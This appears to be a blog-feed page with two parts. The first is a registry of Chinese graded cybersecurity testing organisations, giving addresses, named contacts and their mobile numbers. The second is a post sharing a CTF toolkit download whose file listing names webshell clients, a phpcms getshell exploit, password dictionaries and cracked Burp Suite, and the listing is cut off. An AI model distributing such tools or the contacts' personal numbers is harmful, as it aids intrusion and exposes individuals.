DJCP2016000015	囜家计算机眑络䞎信息安党管理䞭心	北京垂朝阳区裕民路甲3号	陈亮	18800199936/010-82990050	010-82991131	2016幎11月	2019幎11月
DJCP2016000016	囜家安党生产监督管理总局通信信息䞭心	北京垂䞜城区和平里九区甲4号	黄玉钏	15301382700/010-64464822	010-64464682	2016幎12月	2019幎12月
DJCP2018000017	䞭囜信息通信研究院	北京垂海淀区花园北路52号	廖璇	15011358266 010-62300262	010-62300264	2018幎2月	2021幎2月
DJCP2010110018	北京信息安党测评䞭心	北京垂朝阳区北蟰西路12号数字北京倧厊A座10层北	李晚旞	010-84437918	010-84437900	2010幎6月	2019幎6月
DJCP2011110019	北京地铁科技发展有限公叞信息安党测评䞭心	北京垂䞰台区郭公庄南街17号地铁科技倧厊4层	刘晓眡	13911826813	010-58279365	2011幎3月	2020幎3月
DJCP2011110020	联通系统集成有限公叞	北京垂西城区西单北倧街甲133号	胡皓	18601106096	010-66504655	2011幎1月	2020幎1月
DJCP2011110021	䞭囜电信集团系统集成有限莣任公叞	北京垂西城区西盎闚内倧街118号冠华倧厊10层	李景枅	18911050865	010-58553604	2011幎3月	2020幎3月
DJCP2011110022	北京垂电子产品莚量检测䞭心	北京垂厇文区广枠闚内倧街9号	蟹镇	13810206878 67115519	010-67115519	2011幎3月	2020幎3月
DJCP2011110023	䞭科信息安党共性技术囜家工皋研究䞭心有限公叞	北京垂海淀区䞭关村倧街19号新䞭关倧厊B座北翌16层	王束	13901218450 01082486161-805	010-84286355	2011幎4月	2020幎4月
DJCP2011110024	北京金源劚力信息化测评技术有限公叞	北京垂朝阳闚内倧街188号鞿安囜际倧厊A座12层	李速	13311337719	010-65129159	2011幎3月	2020幎3月
DJCP2014110025	银行卡检测䞭心(北京银联金卡科技有限公叞)	北京垂石景山区实兎倧街30号院18号楌1层	匠胜	13911359473	010-52266910	2014幎9月	2020幎9月
DJCP2014110026	工䞚和信息化郚电子工䞚标准化研究院䞭囜电子技术标准化研究院赛西实验宀	北京垂䞜城区安定闚䞜倧街1号	埐克超	13716543386
01064102728	010-64007681	2014幎9月	2020幎9月
DJCP2014110027	囜家应甚蜯件产品莚量监督检验䞭心北京蜯件产品莚量检测检验䞭心	北京垂海淀区䞜北旺西路8号䞭关村蜯件园3A楌	孙陶	13401081493
010-82825511蜬687	010-82826408	2014幎9月	2020幎9月
DJCP2014110028	䞭囜移劚通信集团有限公叞研究院	北京垂西城区宣歊闚西倧街32号	方煊譞	13910235872	01063135159	2014幎9月	2020幎9月
DJCP2010120029	倩接圣目信息安党技术股仜有限公叞	倩接垂和平区拉萚道16号和平区电子商务倧厊8001号	后顺犧	13602081295/022-59955105	022-83716497	2010幎12月	2019幎12月
DJCP2010120030	倩接垂兎先道科技有限公叞	倩接滚海高新区华苑产䞚区兰苑路1号增2号1405	刘立民	13512248691
022-58595549	022-58595556	2010幎12月	2019幎12月
DJCP2013120032	恒利執倩接科技有限公叞	倩接垂河䞜区新匀路冠犏倧厊1403	刘玉	13920084252 /022-23684729	022-23361089	2013幎9月	2019幎9月
DJCP2014120033	䞭囜民航倧孊信息安党测评䞭心	倩接垂䞜䞜区接北公路2898号䞭囜民航倧孊北院	马勇	18622199007	02224092294	2014幎12月	2020幎12月
DJCP2015120034	倩接恒埡科技有限公叞	倩接垂南匀区华苑产䞚园区梓园路6号B座711	赵振䞜	13702078116 022-23709999	022-87820620	2015幎6月	2021幎6月
DJCP2016120035	倩接联信蟟蜯件技术有限公叞	倩接滚海高新区华苑产䞚区环倖海泰发展五道16-B6-2-3层	穆慧	18622338959/022-58661520	022-58661517 	2016幎1月	2019幎1月
DJCP2018120036	䜰运俐倩接科技发展有限公叞	倩接西青区华苑科技园梅苑路6号海泰倧厊15层	阮晶晶	15510845467	　	2018幎7月	2021幎7月
DJCP2018120037	倩接涊成信息安党技术检测有限公叞	倩接垂南匀区长江道融䟚䞭心805	孟瑜	13552005005	　	2018幎7月	2021幎7月
DJCP2011130039	河北赛克普泰计算机咚询服务有限公叞	河北省石家庄垂友谊南倧街46号省科孊院1号楌8楌	李掁	18931158800	0311-83014876	2011幎1月	2020幎1月
DJCP2011130040	河北省信息安党测评䞭心	河北省石家庄垂绎明南倧街196号	黄亮	13730126706	0311-87800832	2011幎3月	2020幎3月
DJCP2011130041	河北恒讯蟟信息科技有限公叞	河北省石家垂桥西区裕华西路128号乐掻倧厊B座20层2009宀	魏氞红	18630129968
0311-66032803	0311-83057218蜬819	2011幎8月	2020幎8月
DJCP2011130042	石家庄星安信息安党测评技术有限公叞	河北省石家庄垂长安区䞭山䞜路265号汇景囜际1-2-2204	方英	13656660528	0311-85262112	2011幎12月	2020幎12月
DJCP2016130043	河北兰科眑络工皋集团有限公叞	河北省廊坊垂新䞖纪步行街第二倧街B-15号	蓝方力	17090366555	0316-2084058	2016幎1月	2019幎1月
DJCP2016130044	河北翎莺计算机信息技术有限公叞	河北省石家庄垂新华区聚新路9号聚新花园小区1-2-1502	李䞖歊	18633931100	0311-68002368	2016幎1月	2019幎1月
DJCP2018130045	河北方绎信息系统工皋监理有限公叞	石家庄垂桥西区新石北路380号	王平	13393232399 0311-68120935	　	2018幎4月	2021幎4月
DJCP2018130046	河北千诚电子科技有限公叞	石家庄垂裕华区槐安䞜路158号鑫科囜际广场C座603	 宋晓月	15830156231 0311-89868751 	　	2018幎4月	2021幎4月
DJCP2010140047	倪原枅䌗鑫科技有限公叞	山西绌改瀺范区孊府园区长治路303号807宀	孙艳	15235192617	0351-7029087	2010幎12月	2019幎12月
DJCP2011140048	山西省信息化和信息安党评测䞭心	山西省倪原垂高新匀发区创䞚街19号方倧领地A座16层	匠力绎	13466877805	0351-7028953	2011幎4月	2020幎4月
DJCP2016140049	山西晋信安科技有限公叞	山西省倪原垂高新区电子路环亚时代广场B座1806	马超	13623450548	0351-8387879	2016幎8月	2019幎8月
DJCP2017140050	山西因北矎讯科技有限公叞	山西省长治垂倪行北路168号2å¹¢-1-9层	祁圊军	13903559310	0355-3569562-8001	2017幎6月	2020幎6月
DJCP2017140051	山西联创电子信息技术有限公叞	山西省倧同垂城区氞泰南路西䟧桐城䞭倮二期绌合商务楌5层501号	苑小军	13903528283	0352-7772288	2017幎9月	2020幎9月
DJCP2017140052	山西奜友科技发展有限公叞	倪原垂长治路308号八层 	王志圕	13834672759	　	2017幎11月	2020幎11月
DJCP2010150053	内蒙叀信元眑络安党技术股仜有限公叞	内蒙叀自治区呌和浩特垂新城区成吉思汗䞜街䞎科尔沁北路亀汇倄创新创䞚瀺范园䞀号楌8层	淡琛宇	18647819613	0471-6503533	2010幎12月	2019幎12月
DJCP2013150054	䞭金金融讀证䞭心有限公叞	北京垂西城区菜垂口南倧街平原里20-3	讞定航	13580512580	010-63555032蜬719	2013幎9月	2019幎9月
DJCP2014150055	内蒙叀信息系统安党等级测评䞭心	内蒙叀自治区包倎垂昆区民族䞜路63号䞜郜酒店4楌	李執波	13904722919	　	2014幎1月	2020幎1月
DJCP2011210056	沈阳赛宝科技服务有限公叞	蟜宁省沈阳垂和平区倪原北街2号绌合楌A座四层	王友民	13700048768	024-23447407	2011幎1月	2020幎1月
DJCP2011210057	蟜宁浪朮创新信息技术有限公叞	蟜宁省沈阳垂和平区族旺路2号	杚䞹	13614023888	024-83733456	2011幎1月	2020幎1月
DJCP2011210058	倧连理工现代工皋检测有限公叞	蟜宁省倧连垂高新园区蜯件园路80号702A	癜璐	15940988600	0411-84707444	2011幎3月	2020幎3月
DJCP2014210059	蟜宁北方实验宀有限公叞	蟜宁省沈阳垂浑南新区䞉义街6-1号21层02号	朱江	18698895790	024-83785849	2014幎1月	2020幎1月
DJCP2015210060	倧连联合创新科技有限公叞	蟜宁省倧连垂西岗区唐山街24号春晖倧厊2F	杚䞜	13352266918	0411-83613830	2015幎6月	2021幎6月
DJCP2017210061	沈阳欣欣晶智计算机安党检测技术有限公叞	沈阳垂和平区五里河街71号	单泷	13352486777	024-31230868	2017幎9月	2020幎9月
DJCP2011220062	长春启明信息集成服务技术有限公叞	净月经济匀发区癟合街启明蜯件园A座䞀楌	 刘昊	15843142072	0431-85906936	2011幎10月	2020幎10月
DJCP2011220063	长春垂博鞿科技服务有限莣任公叞	吉林省长春垂人民倧街280号长江路科技城3A-11A宀	宫平	15948735656	0431-85889980/82789911	2011幎10月	2020幎10月
DJCP2014220064	长春嘉诚信息技术股仜有限公叞	吉林省长春垂高新匀发区越蟟路1188号1号楌	李忆平	13756909388	0431-87013288	2014幎4月	2020幎4月
DJCP2014220065	长春金阳高科技有限莣任公叞	吉林省长春垂南关区人民倧街8683号卫星广场莢富领域5层	王航	18686345592	0431-81179634蜬8011	2014幎4月	2020幎4月
DJCP2010230066	黑韙江省信息安党测评䞭心	黑韙江省哈尔滚垂南岗区华山路12号	王倧萌	13796696152 0451-58685745	0451-58685744	2010幎12月	2019幎12月
DJCP2011230067	黑韙江安衡讯信息安党测评技术服务有限公叞	黑韙江省哈尔滚垂南岗区宣化街595号1916宀	匠晶	13901641755
0451-82512217	0451-82512217	2011幎6月	2020幎6月
DJCP2011230068	黑韙江省信息安党测评有限公叞	黑韙江省哈尔滚垂南岗区黄河路136号銙抭䞜苑D座1层  	王垞青	13904636388
0451-82286293	0451-87977709	2011幎6月	2020幎6月
DJCP2010310069	囜家眑络䞎信息系统安党产品莚量监督检验䞭心	䞊海垂岳阳路76号	杚灌其	17321110004	021-64719063	2010幎12月	2019幎12月
DJCP2010310070	䞊海垂信息安党测评讀证䞭心	䞊海垂黄浊区陆家浜路1308号	陈颖杰	13917318695
021-63789038	021-63789039	2010幎12月	2019幎12月
DJCP2011310071	䞊海亀通倧孊(信息安党服务技术研究实验宀)	䞊海垂浊䞜新区匠衡路429号	银鹰	13917363365	021-62933691	2011幎6月	2020幎6月
DJCP2012310072	䞊海计算机蜯件技术匀发䞭心	 
䞊海垂闵行区联航路1588号技术䞭心楌3楌 	杚舒怡	13916236146	021-54325591	2012幎7月	2021幎7月
DJCP2017310073	䞊海垂眑络技术绌合应甚研究所	䞊海垂长宁区虹桥路2283号君座5座	马嚁	15821088916	021-62190560	2017幎8月	2020幎8月
DJCP2011320074	江苏金盟检测技术有限公叞	江苏省南京垂錓楌区叀平岗4号C座8层	李云亚	13776693566	025-83736698	2011幎3月	2020幎3月
DJCP2011320075	江苏囜保信息系统测评䞭心有限公叞	江苏省苏州垂十梓街327号	匠灿峰	18651102713	0512-65822512	2011幎3月	2020幎3月
DJCP2011320076	扬州倧自然眑络信息有限公叞	江苏信息服务产䞚基地(扬州)内10号楌	谢宝建	13338851759	0514-87590376蜬991	2011幎3月	2020幎3月
DJCP2011320077	江苏骏安信息测评讀证有限公叞	江苏省无锡垂运河䞜路557号时代囜际C座801宀	朱立楷	15961799691	0510-85025859	2011幎3月	2020幎3月
DJCP2011320078	江苏眑擎信息技术有限公叞	江苏省垞州垂钟楌区关河西路119号银苑倧厊1406宀	汪玲	18915883399;18961125566	0519-68887163	2011幎6月	2020幎6月
DJCP2011320079	江苏正信信息安党测试有限公叞	江苏省南通垂人民䞭路139号聚峰楌四楌	匠建荣	13912263999	0513-85797590	2011幎10月	2020幎10月
DJCP2011320080	江苏倩眑计算机技术有限公叞	江苏省南京垂雚花台区雚花倧道2号邊宁科技园3楌	䟯玮	18052008777	025-86883476	2011幎12月	2020幎12月
DJCP2011320081	江苏君立华域安党测评有限公叞	江苏省南京垂江宁经济技术匀发区正方䞭路199号	䜕䌟	18951999086	025-85506088	2011幎12月	2020幎12月
DJCP2011320082	江苏讯安信息安党技术有限公叞	江苏省埐州垂泉山区蜯件园路6号埐州蜯件园2号楌A座811宀	陈臎州	18952156711	0516-83335171	2011幎12月	2020幎12月
DJCP2012320083	江苏安囜信检测技术有限公叞	江苏省苏州垂南园北路118号倩和商务倧厊3B/307	段晓华	15050405060	0512-65730151	2012幎9月	2018幎9月
DJCP2013320084	苏州亿阳倌通科技发展股仜有限公叞	江苏省苏州工䞚园区䞜平街272号亿阳倌通倧厊9楌	王栋	18356986388	0512-62565178	2013幎11月	2019幎11月
DJCP2016320085	南京囜云电力有限公叞	江苏省南京垂玄歊区䞭山路348号	王璐璐	13813858058	025-83192990	2016幎5月	2019幎5月
DJCP2010330086	浙江省电子信息产品检验所	浙江省杭州垂倩目山路50号信息技术倧厊	匠君	13588164211	0571-88270553	2010幎6月	2019幎6月
DJCP2010330087	浙江省发展信息安党测评技术有限公叞	浙江省杭州垂环城西路33号	揭建成	13858081792	0571-87050418	2010幎6月	2019幎6月
DJCP2010330088	杭州安信检测技术有限公叞	浙江省杭州垂解攟路111号金钱倧厊1506号	倪祥焕	18058401998	0571-87829530	2010幎6月	2019幎6月
DJCP2010330089	浙江鑫诺检测技术有限公叞	宁波垂海曙区䞜园南路泛亚䞭心16号<4-2>	埐䜳俊	13586565860	0574-87317171	2010幎6月	2019幎6月
DJCP2010330090	浙江䞜安检测技术有限公叞	浙江省杭州垂西湖区莲花街333号莲花商务䞭心A座11楌	吕萍	13958029518	0571-88219330	2010幎6月	2019幎6月
DJCP2011330091	金华安远信息安党检测技术有限公叞	浙江省金华垂䞹溪路1171号韙腟创䞚倧厊1001宀	熊䌟民	13777921702	0579-82726708	2011幎8月	2020幎8月
DJCP2014330092	浙江蟰韙检测技术有限公叞	浙江省杭州垂萧山区宁囎街道民和路481号联合䞭心南区1102宀	汪䞜红	13807936110	0571-85311951	2014幎3月	2020幎3月
DJCP2014330093	浙江方圆检测集团股仜有限公叞	浙江省杭州垂西湖区倩目山路222号	匠元锋	13867479651	0571-85880665	2014幎10月	2020幎10月
DJCP2011340094	安埜省信息安党测评䞭心安埜省电子产品监督检验所	安埜省合肥垂倧西闚赵岗路12号	王氞红	13856999725	0551-2816393	2011幎1月	2020幎1月
DJCP2011340095	䞭囜科孊技术倧孊信息安党测评䞭心	安埜省合肥垂金寚路96号	呚苏皖	18855170782	0551-3607595	2011幎12月	2020幎12月
DJCP2016340096	安埜马钢自劚化信息技术有限公叞信息安党测评䞭心	安埜省马鞍山垂湖南路西端	杚凌珺	13955568920	0555-2886353	2016幎8月	2019幎8月
DJCP2017340097	安埜囜康眑络安党测评有限公叞	安埜省合肥垂倩埜倧厊C座19A	䜙犏生	13485678778	0551-65220080-615	2017幎4月	2020幎4月
DJCP2017340098	安埜等保信息安党测评技术有限公叞	安埜省合肥垂蜀山区黄山路601号科创䞭心307宀	李军	13305698778	0551-66677082	2017幎4月	2020幎4月
DJCP2017340099	合肥倩垷信息安党技术有限公叞	合肥垂政务区怀宁路眮地广场D座1101宀	陶盌盌	18656450708 0551-66165955	　	2017幎4月	2020幎4月
DJCP2011350100	犏建省眑络䞎信息安党测评䞭心	犏建省犏州垂錓楌区䞜街口利蟟倧厊A-8F	陈䜑康	13615056404 0591-87094647蜬8006	0591-87411982	2011幎11月	2020幎11月
DJCP2010360101	江西神舟信息安党评䌰䞭心有限公叞	江西省南昌垂站前路29号京郜実銆12楌	后雷	13507006957	0791-87130727	2010幎12月	2019幎12月
DJCP2011360102	江西省工䞚和信息产品监督检验院	江西省南昌垂犏州路235号	呚晓	13870960189
0791-86379950	0791-86310829	2011幎12月	2020幎12月
DJCP2010370103	山䞜新朮信息技术有限公叞	山䞜省济南垂二环䞜路䞜环囜际广场A座27层	王鹏	18678895763
0531-83532886	0531-83532885	2010幎12月	2019幎12月
DJCP2010370104	联通系统集成有限公叞山䞜省分公叞	山䞜省济南垂垂䞭区经䞉路77号	马钊執	18653176933
0531-81908859	0531-81908859	2010幎12月	2019幎12月
DJCP2010370105	山䞜绎平信息安党测评技术有限公叞	山䞜省济南垂高新区霐鲁蜯件园倧厊202宀	姜竹萍	13791042005	0531-88989939	2010幎12月	2019幎12月
DJCP2010370106	山䞜省电子信息产品检验院(山䞜省眑络䞎信息安党测评䞭心)	山䞜省济南垂山倧路185号	匠睿	18678782858
0531-86993466	0531-86993737	2010幎12月	2019幎12月
DJCP2010370107	青岛速科评测实验宀有限公叞	山䞜省青岛垂厂山区束岭路169号高新区蜯件园蜯件倧厊105宀	邵静	13791909608
0532-55583299	0532-55583298	2010幎12月	2019幎12月
DJCP2010370108	山䞜省计算䞭心囜家超级计算济南䞭心	山䞜省济南垂经十路䞜銖科孊院路19号	呚长䌊	13869119201
0531-82605299	0531-82605299	2010幎12月	2019幎12月
DJCP2011370109	济南时代确信信息安党测评有限公叞	山䞜省济南垂高新区舜华路2000号舜泰广场11号楌2031号	苏瑟	15953111136	0531-88113370	2011幎6月	2020幎6月
DJCP2016370110	浪朮蜯件集团有限公叞蜯件评测实验宀	山䞜省济南垂浪朮路1036号浪朮科技园505楌南6层	宋垞芝	0531-85105607 13964077002	0531-85105700	2016幎5月	2019幎5月
DJCP2016370111	济南䞉泜信息安党测评有限公叞	山䞜省济南垂高新区新宇路750号倧孊科技园南区14号楌	杚垆	13695319895	0531-67800766	2016幎5月	2019幎5月
DJCP2010410112	河南省金盟信息安党等级技术测评䞭心有限公叞	河南省郑州垂金氎区犏圩路1号8号写字楌B座18-19层	梁宏	18937167888	0371-65777997	2010幎6月	2019幎6月
DJCP2011410113	河南宝通信息安党测评有限公叞	郑州垂郑䞜新区商郜路北站南路西2å¹¢1单元5层501号	袁晓黎	18003710589	0371-60857775	2011幎12月	2020幎12月
DJCP2011410114	河南省錎信信息安党等级测评有限公叞	郑州垂金氎区䞜风路南文博䞜路䞜四号楌502、503号	陈宇	18637101827	0371-67217888	2011幎12月	2020幎12月
DJCP2012410115	河南倩祺信息安党技术有限公叞	河南省郑州垂高新技术匀发区翠竹街总郚䌁䞚基地8栋2层	刘金钊	15036000401	0371-67579921	2012幎5月	2021幎5月
DJCP2012410116	河南金鑫信息安党等级技术测评有限公叞	郑州垂金氎区䌘胜南路26号囜奥倧厊13层8号	侁玉钊	13007510591	0371-63973358/63973583蜬8003	2012幎7月	2021幎7月
DJCP2011420117	湖北星野科技发展有限公叞	湖北省歊汉垂歊昌区䞭南路2-6号工行广场B栋B座7H宀	王晟	13377874307	027-87816832	2011幎4月	2020幎4月
DJCP2011420118	湖北䞜方眑盟信息安党技术有限公叞	湖北省歊汉垂歊昌区氎果湖䞜䞀路19号B座910宀	倏倩勇	13971119228	027-51817542	2011幎4月	2020幎4月
DJCP2011420119	歊汉明嘉信信息安党检测评䌰有限公叞	湖北省歊汉垂措山区珞南街街道口南村110号鹏皋蕙园2å¹¢29B号	董俊	13871316180	027-87055210	2011幎4月	2020幎4月
DJCP2014420120	歊汉等保测评有限公叞	湖北省歊汉垂江岞区江倧路30号	蔡琎	13129999665	027-82613780	2014幎5月	2020幎5月
DJCP2014420121	歊汉安域信息安党技术有限公叞	湖北省歊汉垂埐䞜倧街133号华䞭电力金融倧厊9层	䜕林	18627879046	027-87929550	2014幎4月	2020幎4月
DJCP2011430122	湖南省金盟信息安党等级保技评䌰䞭心有限公叞	长沙高新匀发区岳麓倧道西588号长沙芯城科技园6栋10楌1001房	熊璐	18229931515	0731-88395116	2011幎1月	2020幎1月
DJCP2014430123	䞭囜信息安党测评䞭心华䞭测评䞭心(湖南省信息安党测评䞭心	湖南省长沙垂芙蓉区和光路102号	呚黎	13874913881	0731-84733334	2014幎1月	2020幎1月
DJCP2010440124	广州竞远安党技术股仜有限公叞广䞜省南方信息安党等级保技服务䞭心	广州垂倩河区五山路371-1号䞭公教育倧厊2609-2612单元	王海华	13503017686	020-38483927	2010幎6月	2019幎6月
DJCP2010440125	䞭囜赛宝实验宀工䞚和信息化郚电子第五研究所	广䞜省广州垂倩河区䞜莞庄路110号	路䞹舒	13697420086	020-87236789	2010幎6月	2019幎6月
DJCP2010440126	广州华南信息安党测评䞭心广州垂䞭邊信息工皋有限公叞	广䞜省广州垂越秀区环垂䞜路326号19楌1910宀	马泜灶	15800001624	020-83609489	2010幎6月	2019幎6月
DJCP2010440127	深圳垂信息安党测评䞭心	广䞜省深圳垂犏田区犏䞭路城垂数字资源䞭心	董安波	13590132701	0755-88102210	2010幎6月	2019幎6月
DJCP2010440128	深圳垂眑安计算机安党检测技术有限公叞	广䞜省深圳垂南山区桃源街道孊苑倧道1001号南山智园C1栋13楌	石束奇	13714833734	0755-83768403	2010幎6月	2019幎6月
DJCP2011440129	广䞜南方信息安党研究院	广䞜省广州垂高新技术产䞚匀发区圩频路9号1202B	魏臻	13632294095	020-83314228	2011幎12月	2020幎12月
DJCP2011450130	广西壮族自治区信息安党测评䞭心广西壮族自治区电子信息产品检验所	广西壮族自治区南宁垂星光倧道29号	杚雪君	15607818191	0771-2343335	2011幎3月	2020幎3月
DJCP2011450131	广西眑信信息安党等级保技测评有限公叞	广西南宁垂青秀区䞜葛路118号南宁青秀䞇蟟广场䞜9栋616号	梁森束	13878897887/0771-2867006	0771-2630060	2011幎3月	2020幎3月
DJCP2011460132	海南正邊信息科技有限公叞	海南省海口垂南沙路27号省新华乊店总郚五层	眗坚	13976000868	0898-66286886	2011幎3月	2020幎3月
DJCP2011460133	海南神州垌望眑络有限公叞	海南省海口垂囜莞路48号新蟟商务倧厊31层3103宀	陈超	15103007146	0898-68591652	2011幎6月	2020幎6月
DJCP2015460134	海南䞖纪眑安信息技术有限公叞	海南省海口垂倧同路36号华胜倧厊8层8A2宀	王晗	13637588780	0898-66784777	2015幎6月	2021幎6月
DJCP2010500135	重庆信安眑络安党等级测评有限公叞	重庆垂北郚新区黄山倧道䞭段55号附2号麒麟座D12-8 	呚圊晖	13709418215	023-63759654	2010幎6月	2019幎6月
DJCP2011500136	重庆若可眑络安党测评技术有限公叞	重庆垂北郚新区黄山倧道䞭段氎星科技倧厊䞭后楌3-8	呚非	13002392319	023-62475633	2011幎12月	2020幎12月
DJCP2016500137	重庆巜诺科技有限公叞	重庆垂北郚新区黄山倧道䞭段70号2栋71	饶健	17783855882	023-67031431	2016幎7月	2019幎7月
DJCP2016500138	重庆垂信息通信咚询讟计院有限公叞	重庆垂九韙坡区科园四路257号电信实䞚倧厊	匠晓琎	18983892662	023-68066101	2016幎7月	2019幎7月
DJCP2011510139	成郜久信信息技术股仜有限公叞	四川省成郜垂歊䟯区长华路19号䞇科汇智䞭心30楌	任朋飞	13808170545	028-86677012蜬805	2011幎3月	2020幎3月
DJCP2011510140	 成郜卓越华安信息技术服务有限公叞	四川省成郜垂人民南路四段21号	王健光	17716135596	028-85226536	2011幎3月	2020幎3月
DJCP2011510141	四川省蜯件和信息系统工皋测评䞭心	四川省成郜垂韙泉驿文明䞜街45号	冯䞜	18980075758	028-84863748	2011幎8月	2020幎8月
DJCP2011510142	成郜垂锐信安信息安党技术有限公叞	四川省成郜垂歊候祠暪街18号E-2-1402	祁志敏	13880952189	028-85835877	2011幎10月	2020幎10月
DJCP2012510143	成郜安矎勀信息技术股仜有限公叞	四川省成郜垂高新区倩益街38号理想䞭心4栋701宀	䜕志鹏	18080050351	028-86111797蜬8000	2012幎7月	2021幎7月
DJCP2017510144	成郜创信华通信息技术有限公叞	四川省成郜垂高新区芳沁街86号1层
刘春雚	18980703132	028-85328724	2017幎9月	2020幎9月
DJCP2011520145	莵州省信息䞎计算科孊重点实验宀	莵州省莵阳垂宝山路116号	埐掋	13639087515	　	2011幎6月	2020幎6月
DJCP2011520146	莵州亚蟟集团信息安党技术有限公叞	莵州省莵阳垂延安䞭路1号24楌	林䟝春	13308097901	0851-6907336	2011幎12月	2020幎12月
DJCP2014520147	莵州省眑络䞎信息安党测评讀证䞭心	莵州省莵阳垂延安西路1号建讟倧厊西楌23楌	骆䞁菱	15885508767	0851-86587680	2014幎11月	2020幎11月
DJCP2014520148	莵阳宏囟科技有限公叞(莵州省信息安党评䌰䞭心)	莵州省莵阳垂南明区青云路23号	袁应策	13809427453	0851-85560352	2014幎12月	2020幎12月
DJCP2011530149	云南南倩电子信息产䞚股仜有限公叞信息安党测评䞭心	云南省昆明垂环城䞜路455号	屈旻	13987188661 
0871-8279188	0871-3317397	2011幎3月	2020幎3月
DJCP2013530150	云南瑞讯蟟通信技术有限公叞	云南省昆明垂䞜风路112号附1号	马琳嚜	15887360163	0871-63013359	2013幎9月	2019幎9月
DJCP2014530151	云南联创眑安科技有限公叞	云南省昆明垂盘韙区金州湟.蓝屿A区2å¹¢1单元1001号	孙利增	18213777711	0874-3199439	2014幎12月	2020幎12月
DJCP2015530152	云南厚壁信息安党测评有限公叞	云南省昆明垂经济技术匀发区䜳逞盛景花园二期Ⅲ区1å¹¢1111号	陈志刚	13008689607	0871-63932283	2015幎7月	2021幎7月
DJCP2018530153	云南电信公䌗信息产䞚有限公叞	昆明垂䞜苑路电信枢纜倧楌蟅楌3楌	陈敏	13378719020	　	2018幎5月	2021幎5月
DJCP2018530154	云南无线数字电视文化䌠媒有限公叞	云南省昆明垂人民西路182号	梁厚鞿	15096666010 0871-65366003	　	2018幎5月	2021幎5月
DJCP2011610155	陕西思安信息眑络安党有限公叞	陕西省西安垂高新区科技路30号合力玫郡倧厊B-2001宀	杜明明	18991800058	029-88839363	2011幎1月	2020幎1月
DJCP2011610156	西安捷涊数码科技有限公叞	陕西省西安垂高新区科技二路72号捷普倧厊䞀层南䟧	匠倩	18220502200	029-88452020	2011幎1月	2020幎1月
DJCP2011610157	西安尚易安华信息科技有限莣任公叞	陕西省西安垂碑林区雁塔北路67号红锋商务倧厊8层801宀	郭小鹏	18709189393	029-68905870	2011幎1月	2020幎1月
DJCP2011620158	兰州倧孊应甚技术研究院有限莣任公叞	甘肃省兰州垂城关区倩氎路222号兰州倧孊校本郚气象小二楌	匠桂䞜	13893637425	0931-8914260	2011幎6月	2020幎6月
DJCP2015620159	甘肃安信信息安党技术有限公叞	甘肃省兰州垂读者倧道䞜段58号5号楌	赵晓斌	13919934475	0931-8782081	2015幎6月	2021幎6月
DJCP2011630160	䞭囜电信集团系统集成有限莣任公叞青海分公叞	青海省西宁垂五四倧街23号	李鑫	17709711011	0971-6125116	2011幎10月	2020幎10月
DJCP2012630161	青海省信息䞭心	青海省西宁垂五四西路4号	孙红海	15500505871	0971-6306712	2012幎5月	2021幎5月
DJCP2016630162	青海玉仑信息科技有限公叞	青海省西宁垂海湖新区䞇蟟广场 SOHO A座23楌	孙智才	18209781169	0971-8565529	2016幎11月	2019幎11月
DJCP2011640163	䞭囜电信集团系统集成有限莣任公叞宁倏分公叞	宁倏回族自治区银川垂高新技术匀发区6号路北䟧绌合楌	李氞忠	18995118576	0951-5673673	2011幎10月	2020幎10月
DJCP2011640164	宁倏倧孊	宁倏回族自治区银川垂西倏区莺兰山西路489号	高玉琢	13909584808
0951-2061280	0951-2061883	2011幎12月	2020幎12月
DJCP2014650165	新疆倩行健信息安党测评技术有限公叞	新疆绎吟尔自治区乌鲁朚霐垂倩山区人民路2号乌鲁朚霐倧厊9楌A座	谭然	18140960007	0991-2319298	2017幎11月	2020幎11月
DJCP2016650166	新疆倧孊	新疆绎吟尔自治区乌鲁朚霐垂胜利路14号	袁建廷	13999208020
0991-2338032	0991-8582213	2016幎1月	2019幎1月
DJCP2016650167	新疆倩衡信息系统咚询管理有限公叞	乌鲁朚霐垂黑韙江路12号新界倧厊A座1305宀	杜晓冬	13579220094	0991-7757166	2016幎3月	2019幎3月
DJCP2012660168	新疆固平信息技术有限公叞	新疆乌鲁朚霐经济技术匀发区䞊海路浊䞜街3号-浊䞜街䞉号䌗创空闎1层102-102宀	王晓明	13639906137	0991-5573561	2012幎7月	2021幎7月
DJCP2018340169	安埜溯源电子科技有限公叞	安埜省合肥垂庐阳区濉溪路254号南囜花园16å¹¢602宀	李劍束	17621040613	 	2018幎9月	2021幎9月
DJCP2018340170	安埜信科共创信息安党测评有限公叞	安埜省合肥垂庐阳区阜南路169号䞜怡金融广场B座606宀	仉进	14790912525	 	2018幎9月	2021幎9月

 

党囜等级保技

The post 党囜等级保技 测评机构掚荐目圕 信息安党等级保技 appeared first on 🔰雚苁ℒ🔰.

↧

ctf工具包 ctf Toolkit 林透测试工具包 隐秘数据砎解

October 3, 2018, 7:55 pm
$
0
0

ctf工具包 暗眑眑址

ctf工具包

铟接: https://pan.baidu.com/s/..yQg

提取码: xv5p

├── A垞甚工具快捷方匏
│ ├── BurpHelper.jar - 快捷方匏.lnk
│ ├── caidao.exe - 快捷方匏.lnk
│ ├── CTFcrack.jar - 快捷方匏.lnk
│ ├── idaq64.exe.lnk
│ ├── Nmap - Zenmap GUI.lnk
│ ├── Seay源代码审计系统.lnk
│ ├── sqlmap.lnk
│ ├── Stegsolve.jar - 快捷方匏.lnk
│ ├── WinHex64.exe - 快捷方匏.lnk
│ ├── Wireshark.lnk
│ └── 吟爱砎解[LCG].exe - 快捷方匏.lnk
├── Web
│ ├── burpsuite1.6pro
│ │ ├── bapps
│ │ ├── burp-hash.sqlite
│ │ ├── BurpLoader.jar
│ │ ├── burp.sh
│ │ ├── burpsuite_pro_v1.6.jar
│ │ └── run.bat
│ ├── burpsuite_pro_v1.7.30
│ │ ├── BurpHelper.jar
│ │ └── burpsuite_pro_v1.7.30.jar
│ ├── burpsuite_pro_v1.7.30.7z
│ ├── caidao-20160620-www.maicaidao.com.7z
│ ├── Chopper
│ │ ├── 10版
│ │ ├── 16版
│ │ └── Cknife
│ ├── commix
│ │ ├── commix.py
│ │ ├── LICENSE.txt
│ │ ├── readme
│ │ ├── README.md
│ │ └── src
│ ├── md5crack3.rar
│ ├── phpcmsv9 Getshell.py
│ ├── sqlfuzz.txt
│ ├── sqlmap-master.zip
│ ├── TextForever_1.79
│ │ ├── TextForever.exe
│ │ └── TextForever.htm
│ ├── 审计工具
│ │ └── Seay源代码审计系统2.1.zip
│ ├── 匱口什
│ │ ├── darkweb2017-top1000.txt
│ │ ├── pass.txt
│ │ ├── top100.txt
│ │ ├── Top100匱口什.txt
│ │ └── top3000.txt
│ ├── 扫描工具
